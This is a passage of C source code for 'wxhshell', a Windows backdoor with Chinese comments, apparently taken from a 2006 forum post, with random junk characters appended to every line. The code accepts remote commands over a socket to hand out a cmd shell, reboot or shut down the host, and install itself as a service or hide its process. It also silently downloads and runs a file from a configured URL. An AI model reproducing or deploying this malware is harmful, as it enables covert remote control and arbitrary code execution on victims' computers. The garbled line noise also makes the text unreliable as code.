  !>+YEZ"  
  // 帮助 jU/0a=h9  
  case '?': { Zj%l (OVq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4 QD.'+ L  
    break; Q u{#4qToA  
  } f3h^R20qmO  
  // 安装 46Vx)xX  
  case 'i': { qdWsP9}q  
    if(Install()) Srg `Tt]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C[gy{40}  
    else $ba3dqbCW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); adRvAq]mA  
    break; va[@XGaC3  
    } 30bScW<08  
  // 卸载 jNBvy1  
  case 'r': { *H8(G%a!^  
    if(Uninstall()) Q E1DTU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!ZndW SHV  
    else 9q(*'rAm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v@(Y:\>  
    break; .-Yhpw>f  
    } x8|sdZFxo  
  // 显示 wxhshell 所在路径 [9Q}e;T  
  case 'p': { 80DcM9^t8  
    char svExeFile[MAX_PATH]; >,wm-4&E  
    strcpy(svExeFile,"\n\r"); ;Sl]8IZ  
      strcat(svExeFile,ExeFile); R9%Um6  
        send(wsh,svExeFile,strlen(svExeFile),0); KeFEUHU  
    break; '[g@A>xDvW  
    } [<CIh46S.  
  // 重启 {]ie|>'=C  
  case 'b': { WrP 4*6;"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MZ]#9/  
    if(Boot(REBOOT)) w_4/::K*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HY|=Z\l"  
    else { Y=94<e[f"  
    closesocket(wsh); IY jt*p5  
    ExitThread(0); g?-HAk6  
    } 3z5w}qN] M  
    break; tj<a , l  
    } ;c};N(2  
  // 关机 W{'RR.  
  case 'd': { )4u6{-|A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RHe'L36W  
    if(Boot(SHUTDOWN)) cG{>[Lf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " b?1Yc-  
    else { a8$gXX-2  
    closesocket(wsh); d'y\~M9(  
    ExitThread(0); u6tD5Y  
    } wd 86 y  
    break; -SO`wL NV  
    } o$ disJ  
  // 获取shell 1j4(/A  
  case 's': { p)'.swpJ  
    CmdShell(wsh); "'i" @CR  
    closesocket(wsh); Wg\`!T  
    ExitThread(0); -`knSR  
    break; ~Q4 emgBD  
  } 3"9'MDKH  
  // 退出 UTT7a"  
  case 'x': { ;G 27S<Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g3*" ^C2=  
    CloseIt(wsh); AiMD"7 )c  
    break; e(t,~(  
    } O:K={#Xj  
  // 离开 pyvZ[R 9  
  case 'q': { cU`sA_f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YS7R8|  
    closesocket(wsh); UM?{ba9  
    WSACleanup(); AL(YQ )-Cg  
    exit(1); +aa( YGL  
    break; /<J&ZoeJB  
        } f[}N  
  } G?`x$UU  
  } l,(Mm,3  
#:C?:RMS  
  // 提示信息 e@B+\1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5|I2  
} Ws_R S%  
  } !%pY)69gv  
_ 9@D o6  
  return; Zjo8/  
} jSY&P/[ xb  
2 d%j6D  
// shell模块句柄 H\Bh Af  
int CmdShell(SOCKET sock) 5)%bnLxn  
{ ,<,ige  
STARTUPINFO si; lP9XqQ(  
ZeroMemory(&si,sizeof(si)); Ib$*w)4:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v&.`^ O3W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v7;zce/~  
PROCESS_INFORMATION ProcessInfo; Yn0l}=, n  
char cmdline[]="cmd"; C&d%S|:IR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >,ThIwRN  
  return 0;  p^=>N9  
} UIpW#t  
 pt`^4}  
// 自身启动模式 < C{-ph  
int StartFromService(void) R`7v3{  
{ '/Y D$*,  
typedef struct 2<Vw :+,  
{ _.Ey_K_1  
  DWORD ExitStatus; $6&P 69<  
  DWORD PebBaseAddress; QFg,pTj  
  DWORD AffinityMask; iG:9uDY  
  DWORD BasePriority; BE&P/~(C  
  ULONG UniqueProcessId;  |7ga9  
  ULONG InheritedFromUniqueProcessId; i\4Qv"%  
}   PROCESS_BASIC_INFORMATION; M7$ h  
KJ7[DN'(  
PROCNTQSIP NtQueryInformationProcess; UKIDFDn6_  
-uho;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xB&kxW.;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ER z@o_  
mLa0BIP  
  HANDLE             hProcess; --ED]S 8  
  PROCESS_BASIC_INFORMATION pbi; *b{C`[ =V  
c5>'1L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fS( )F*J  
  if(NULL == hInst ) return 0; (6jr}kP  
<tT*.nM\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3f 1@<7*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (thDv rT@2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r_sZw@lqJ  
&4aY5y`8+f  
  if (!NtQueryInformationProcess) return 0; kR C0iTV'I  
c0lVt)pr/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZI<p%IQ   
  if(!hProcess) return 0; R~z@voM*<  
9.bMA<X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AR<'Airi:  
=r<0l=  
  CloseHandle(hProcess); 8vN}v3HV&  
9fWr{fx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &hK5WP6whW  
if(hProcess==NULL) return 0; 9!XW):  
?V6+o`bm  
HMODULE hMod; rcc.FS  
char procName[255]; J6*Zy[)%&S  
unsigned long cbNeeded; GJ>vL  
l:!4^>SC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =y3gnb6  
3@k;"pFa<  
  CloseHandle(hProcess); kNX(@f  
QOG S` fh  
if(strstr(procName,"services")) return 1; // 以服务启动 \wmNeGC2  
1dhp/Qh  
  return 0; // 注册表启动 _IAvFJI  
} #y~`nyg%|  
 b;!oPT  
// 主模块 |?c v5l7E  
int StartWxhshell(LPSTR lpCmdLine) RvL-SI%E  
{ nwd 02tu  
  SOCKET wsl; Z`fm;7NiVG  
BOOL val=TRUE; {u BpM9KT  
  int port=0; =rj5 q  
  struct sockaddr_in door; ~lx5RTkp  
*iSsGb\M%  
  if(wscfg.ws_autoins) Install(); xg~ Baun  
`sZ/'R6  
port=atoi(lpCmdLine); =,D3e+P'  
)J/,-p  
if(port<=0) port=wscfg.ws_port; <De29'},y  
f-5vE9G3y7  
  WSADATA data; IX eb6j8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H<dOh5MFh  
cdL$T6y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?YY'-\h?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GgH=w`;_  
  door.sin_family = AF_INET; 89F^I"Im(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YQ>M&lnQ<  
  door.sin_port = htons(port); iMnp `:*  
!+T9NqDv[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3=!\>0;E-  
closesocket(wsl); _20nOg`o  
return 1; mDmy637_  
} wVCZ=\L}  
4LYeacL B  
  if(listen(wsl,2) == INVALID_SOCKET) { \AOVdnM:  
closesocket(wsl); %WrUu|xj>_  
return 1; RE]u2R6Y  
} %&bO+$H3  
  Wxhshell(wsl); ![os5H.b#q  
  WSACleanup(); @dAc2<4  
]zHUF!a*  
return 0; 1btQ[a6j  
>\hu1C|W  
} }<w/2<T[  
U/E M(y  
// 以NT服务方式启动 .63:G<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /N+*=LIK I  
{ t^. U<M  
DWORD   status = 0; D0,U2d  
  DWORD   specificError = 0xfffffff; xZt]s3?  
RKaCX:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XA} !  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;X6FhQ;{*0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %fMK^H8{  
  serviceStatus.dwWin32ExitCode     = 0; fB[I1Z  
  serviceStatus.dwServiceSpecificExitCode = 0; >6 [{\uPK  
  serviceStatus.dwCheckPoint       = 0; F*hOa|7/  
  serviceStatus.dwWaitHint       = 0; ~a&s5E {  
~}|)@,N'bm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3dNOXk, #  
  if (hServiceStatusHandle==0) return; Sf[ZGY)  
',nGH|K.  
status = GetLastError(); g@YJ#S(}  
  if (status!=NO_ERROR) %"V Y)  
{  q%,q"WU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EY;C5P4  
    serviceStatus.dwCheckPoint       = 0; ]+Yd#<j(u  
    serviceStatus.dwWaitHint       = 0; B e"D0=<  
    serviceStatus.dwWin32ExitCode     = status; jx a?  
    serviceStatus.dwServiceSpecificExitCode = specificError; V*SKWP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jgbUZP4J>  
    return; .r+u pY  
  } W}V L3s  
fb[f >1|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *[@lp7  
  serviceStatus.dwCheckPoint       = 0; m5 r65=E  
  serviceStatus.dwWaitHint       = 0; TO.?h!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~{'.9  
} oe,L&2Jz@  
x9R_KLN:;  
// 处理NT服务事件,比如:启动、停止 wQJY,|.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5mdn77F_  
{ "WR)a`$UR  
switch(fdwControl) B ?96d'A  
{ k !Nl#.j  
case SERVICE_CONTROL_STOP: '}4LHB;:  
  serviceStatus.dwWin32ExitCode = 0; !q;EC`i#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; % \Nfj) 9  
  serviceStatus.dwCheckPoint   = 0; =z^v)=uhp  
  serviceStatus.dwWaitHint     = 0; V|xK vH  
  { CsG1HR@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W-zD1q~0?  
  } 5xL%HX[S  
  return; X(kyu,w  
case SERVICE_CONTROL_PAUSE: ;g$s`l/ 4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,5Jq ZD  
  break; Z5[TmVU  
case SERVICE_CONTROL_CONTINUE: I)I,{xT4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6=a($s!   
  break; X>l  
case SERVICE_CONTROL_INTERROGATE: 9MA/nybI  
  break; vUh.ev0  
}; &*iar+vr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _!6~o>  
} +[@Ug`5M  
;i?Ao:]  
// 标准应用程序主函数 rCqcl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i{TErJ{}e  
{ {` Bgxejf  
g-j`Ex%  
// 获取操作系统版本 ,9Y{x  
OsIsNt=GetOsVer(); +ou5cQ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ag QR"Nu6  
Vvu+gP'z.  
  // 从命令行安装 tgEXX-{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 95jJ"4a+  
BtDi$d%'  
  // 下载执行文件 ](c[D9I!8  
if(wscfg.ws_downexe) { //*>p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3Qmok@4e)  
  WinExec(wscfg.ws_filenam,SW_HIDE); l}B,SkP^  
} U WYLT-^x  
BoJ@bOe#  
if(!OsIsNt) { c-8Pc ]+g  
// 如果时win9x,隐藏进程并且设置为注册表启动 KY$6=/?U_  
HideProc(); Ga0= G&/  
StartWxhshell(lpCmdLine); wjYwQ=y5  
} i9fK`:)  
else -:wC 920+  
  if(StartFromService()) pJ[7m  
  // 以服务方式启动 j&)"a,f  
  StartServiceCtrlDispatcher(DispatchTable); :{<( )gfk  
else ;(M`Wy]2  
  // 普通方式启动 OV ~|@{6T  
  StartWxhshell(lpCmdLine); Pda(O;aNU  
|Q2H^dU'rQ  
return 0; sxcpWSGA^  
}
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只看该作者 1 发表于: 2006-10-10
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